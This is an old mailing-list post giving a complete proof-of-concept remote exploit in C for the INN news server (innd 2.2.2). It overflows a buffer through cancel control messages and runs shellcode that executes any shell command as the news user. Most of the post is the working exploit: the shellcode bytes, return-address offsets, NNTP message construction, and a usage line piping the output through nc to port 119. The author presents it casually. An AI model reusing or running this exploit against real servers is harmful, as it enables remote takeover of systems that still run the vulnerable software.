Innd 2.2.2 remote news user/group exploit

[wp () ELZABSOFT PL (Wojciech Purczynski)]

As Michal said it is exploitable so I wrote proof-of-concept exploit.
It is rather trivial to exploit as we have plenty of room to put our
shellcode:)

Have a phun :)

-wp

--- exploit ---
/*
 * inndx: innd remote 'news' user/group exploit
 *
 * Written on 12th June 2000 by Wojciech Purczynski
 * <wp () elzabsoft pl> cliph/ircnet
 *
 * Bug found by Michal Zalewski.
 *
 * Tested on innd-2.2.2-3 default installation on RedHat 6.2.
 *
 * Usage:
 * ./inndx [command [offset]]|nc -i 1 target.host 119
 */

#include <stdio.h>
#include <unistd.h>

#define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
#define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
#define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
#define NOP 0x90
#define FAKEPTR 0xbffff1c0
#define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
#define BODYSIZE 999

/* Code written by me */
char * run_command=
        "\xeb\x3d\x5e\x89\xf7\x31\xc0\x47"
        "\x80\x3f\xff\x75\xfa\x88\x07\x47"
        "\x89\x37\x89\xf3\x46\x80\x3e\x2e"
        "\x75\xfa\x88\x06\x46\x89\x77\x04"
        "\x46\x80\x3e\x2e\x75\xfa\x88\x06"
        "\x46\x89\x77\x08\x89\x47\x0c\x89"
        "\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80"
        "\x89\xc3\x31\xc0\x40\xcd\x80\xe8"
        "\xbe\xff\xff\xff/bin/sh.-c.";

int main(int argc, char *argv[])
{
        int retaddr=RETADDR;
        char messageid[256];
        char sender[16];
        char body[BODYSIZE];
        char * command=COMMAND;
        int midsize;
        int i;

        if (argc>1) command=argv[1];
        if (argc>2) retaddr+=atoi(argv[2]);

        memset(sender, 0, sizeof(sender));
        strcpy(sender+0, "a@a.");               /* EBP */
        *(long*)(sender+4)=(long)retaddr;       /* EIP */
        *(long*)(sender+8)=(long)RETADDR+1000;  /* Data */
        
        memset(messageid, 'a', sizeof(messageid));
        sprintf(messageid, "%s@a", tmpnam(NULL)+9);
        messageid[strlen(messageid)]='a';
        messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0;

        memset(body, NOP, sizeof(body));
        strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
        strcat(body, command);
        strcat(body, "\xff");
        
        fprintf(stderr, "RETADDR=%p\n", retaddr);
        fprintf(stderr, "COMMAND=%s\n", command);
        
        printf("mode reader\r\ngroup test\r\npost\r\n");
        printf("Message-ID: <%s>\r\n", messageid);
        printf("From: %s\r\nSender: %s\r\n", sender, sender);
        printf("Newsgroups: test\r\n");
        printf("Subject: blah\r\n");
        printf("\r\nblah\r\n.\r\n");
        
        printf("group control\r\npost\r\n");
        printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
        printf("From: a@b.c\r\nSender: a@b.c\r\n");
        printf("Control: cancel <%s>\r\n", messageid);
        printf("Subject: cmsg cancel <%s>\r\n", messageid);
        printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
}
--- eof ---

+--------------------------------------------------------------------+
| Wojciech Purczynski   wp () elzabsoft pl  http://www.elzabsoft.pl/~wp |
| GSM: +48604432981   Linux Administrator   SMS: wp-sms () elzabsoft pl |
+------ Public GnuPG Key:  http://www.elzabsoft.pl/~wp/gpg.asc ------+